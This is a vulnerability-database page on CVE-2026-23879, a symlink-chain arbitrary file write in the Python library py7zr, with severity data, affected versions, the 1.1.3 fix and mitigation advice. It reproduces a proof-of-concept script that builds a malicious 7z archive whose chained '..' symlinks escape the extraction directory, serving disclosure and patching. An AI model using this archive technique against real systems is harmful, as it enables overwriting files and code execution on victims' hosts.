CVE-2026-23879 — py7zr
HIGHCVE-2026-23879 is a high-severity (CVSS 8) CWE-59 vulnerability in py7zr. A fix is available for py7zr — see the affected versions and patch details below.
py7zr: Arbitrary File Write Vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23879.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
py7zrReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
Details
The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.
PoC
Construct PoC Archive File
The following pseudo-code illustrates the vulnerable logic.
def create_sevenz_exp(output_dir: str):
filename = "archive.7z"
file_path = output_dir + filename
with py7zr.SevenZipFile(file_path, 'w') as archive:
archive.writestr("Some Text", "dir0/someFile.txt")
add_symlink(archive, "dir1", "dir0/..")
add_symlink(archive, "dir2", "dir1/..")
add_symlink(archive, "dir3", "dir2/..")
add_symlink(archive, "dir4", "dir3/..")
add_symlink(archive, "dir5", "dir4/..")
add_symlink(archive, "dir6", "dir5/..")
add_symlink(archive, "dir7", "dir6/..")
add_symlink(archive, "dir8", "dir7/..")
add_symlink(archive, "myTmp", "dir8/tmp")
archive.writestr("Malicious Text\n", "myTmp/poc.txt")
Unpack the archive
Use common decompression methods, then extract the archive.
import sys
import os
import py7zr
def extract_7z(seven_path, output_dir):
os.makedirs(output_dir, exist_ok=True)
with py7zr.SevenZipFile(seven_path, mode='r') as z:
z.extractall(path=output_dir)
print(f"Extracted '{seven_path}' to '{output_dir}'")
if __name__ == "__main__":
seven_file = sys.argv[1]
base_name = os.path.splitext(os.path.basename(seven_file))[0]
output = base_name + "_sevenz_output"
extract_7z(seven_file, output)
Impact
<img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" />After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | py7zr | all versions | 1.1.3pip install --upgrade 'py7zr==1.1.3' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for py7zr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update py7zr to 1.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-23879 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This flaw has an Important impact as py7zr shipped in Red Hat Ansible Automation Hub is susceptible to arbitrary file writes during archive extraction. An attacker can craft a malicious 7zip archive containing symbolic link chains that resolve outside the intended extraction directory, bypassing path validation. When…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-23879 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-23879 in your dependencies?
Find it across PyPI, including transitive dependencies.